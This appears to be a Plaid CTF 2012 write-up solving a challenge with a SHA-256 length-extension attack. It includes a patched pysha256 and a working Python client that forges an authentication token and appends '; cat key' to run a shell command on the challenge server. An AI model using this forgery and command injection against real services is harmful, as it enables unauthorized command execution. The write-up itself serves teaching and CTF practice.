30
Apr
2012

Plaid CTF 2012 – Size Doesn’t Matter

We found a pair of robot command execution services running at 23.20.239.9 ports 8888 and 8889. Can you break into it?

The first service on port 8888 asks for a command and then outputs:

Your verification string is valid for your command for 10 seconds: 
c44a31a01e8975485ea2d8815b78bddca0d8779ebec7546c1766b12df9388bfc
secret: XXXXXXXX
timecode: 09:13:0
command: ls

This can then be plugged into the second service to actually execute the command:

nc 23.20.239.9 8889
ls::c44a31a01e8975485ea2d8815b78bddca0d8779ebec7546c1766b12df9388bfc

auth_server.py
cmd_server.py
key
start.sh

Unfortunately the first service only allows us to submit a command only consisting of a-zA-Z so we can’t send for example ‘cat key’.

Based on the output and some trial and error it seems most logical that the first service calculates the token as follows:
hash(secret+time_code+command) the size of the hash seems to imply SHA-256. After some unsuccessful brute-forcing to find secret we sat down and thought about the challenge a bit more. Remembering hash length-extension attacks.

In order to exploit the hash extensions we used a pure python sha256 implementation called pysha256. This needs a small patch to make it suitable for length extension attacks by allowing a fake_len parameter to its digest function:

    def digest(self,fake_len=0):
        mdi = self._counter & 0x3F
        if fake_len != 0:
                length = struct.pack('!Q', fake_len)
        else:
                length = struct.pack('!Q', self._counter<<3)

Plugging our length extension into a client for the service.

import socket,struct,urllib,re,sys,time,random
from pysha256 import sha256

cmd = 'ls'
inject = sys.argv[1]
prefix_len = int(sys.argv[2])
find = re.compile('10 seconds: (.*)')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('23.20.239.9', 8888))
s.send(cmd)

out = s.recv(1024)
key = find.findall(out)[0]

h = sha256()
orig_hash = key
print "Orig: %s" % orig_hash
split_hash = map(lambda x: int(x,16),[orig_hash[x:x+8] for x in range(0,len(orig_hash),8)])

h = sha256()
h._h = split_hash[:]
h.update(inject)
new_cmd = cmd + '\x80'
new_cmd += '\x00' * (64-(prefix_len)-len(cmd)-2)
padlen = (prefix_len + len(cmd)) * 8
new_cmd += chr(padlen)
new_cmd += inject

fake_len=(len(new_cmd) + prefix_len) * 8
fake = h.hexdigest(fake_len).lower()
key = fake


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('23.20.239.9', 8889))

c = '%s::%s' % (new_cmd,key)
print c
s.send(c)
print s.recv(4096)

Now running ‘python size.py “; cat key” 15’ yields the key. Where 15 is the size of secret+time_code.